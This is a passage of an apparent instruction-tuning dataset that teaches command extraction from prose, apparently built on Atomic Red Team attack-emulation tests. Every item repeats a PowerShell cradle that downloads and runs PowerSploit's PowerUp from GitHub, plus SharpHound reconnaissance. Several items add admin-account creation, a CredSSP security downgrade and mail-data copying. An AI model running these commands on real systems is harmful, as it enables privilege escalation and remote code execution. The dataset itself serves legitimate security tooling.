logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can list all processes by executing this WMIC command: wmic process get /format:list",
    "output": "{\"command_list\": [\"wmic process get /format:list\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate started system services and save the results to a file, use the following command: net.exe start >> #{output_file}",
    "output": "{\"command_list\": [\"net.exe start >> #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For copying mail data and adding modifications in Windows, execute this PowerShell command block: New-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore }\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -File | ForEach-Object { Add-Content -Path $_.FullName -Value \"Modification for Atomic Red Test\" -ErrorAction Ignore }\n",
    "output": "{\"command_list\": [\"New-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -ItemType Directory -ErrorAction Ignore\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore }\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -File | ForEach-Object { Add-Content -Path $_.FullName -Value \\\"Modification for Atomic Red Test\\\" -ErrorAction Ignore }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To activate the new account and add it to the Administrators group, use this command: sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin",
    "output": "{\"command_list\": [\"sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For a complete list of environment variables and path information, use the command: set",
    "output": "{\"command_list\": [\"set\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For showing hidden files on a Mac system, run the command: defaults write com.apple.finder AppleShowAllFiles YES",
    "output": "{\"command_list\": [\"defaults write com.apple.finder AppleShowAllFiles YES\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For overcoming RDP connection issues through registry manipulation, execute this command: reg add \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\CredSSP\\Parameters\" /v AllowEncryptionOracle /t REG_DWORD /d 2 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\CredSSP\\\\Parameters\\\" /v AllowEncryptionOracle /t REG_DWORD /d 2 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For downloading an image from a specified URL and making it your desktop background, use this command: $url = \"#{url_of_wallpaper}\"\n$imgLocation = \"#{wallpaper_location}\"\n$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\\Control Panel\\Desktop\\' -Name WallPaper).WallPaper\n$orgWallpaper | Out-File -FilePath \"#{pointer_to_orginal_wallpaper}\"\n$updateWallpapercode = @' \nusing System.Runtime.InteropServices; \nnamespace Win32{\n\n    public class Wallpaper{ \n        [DllImport(\"user32.dll\", CharSet=CharSet.Auto)] \n         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \n         \n         public static void SetWallpaper(string thePath){ \n            SystemParametersInfo(20,0,thePath,3); \n        }\n    }\n} \n'@\n$wc = New-Object System.Net.WebClient  \ntry{  \n    $wc.DownloadFile($url, $imgLocation)\n    add-type $updateWallpapercode \n    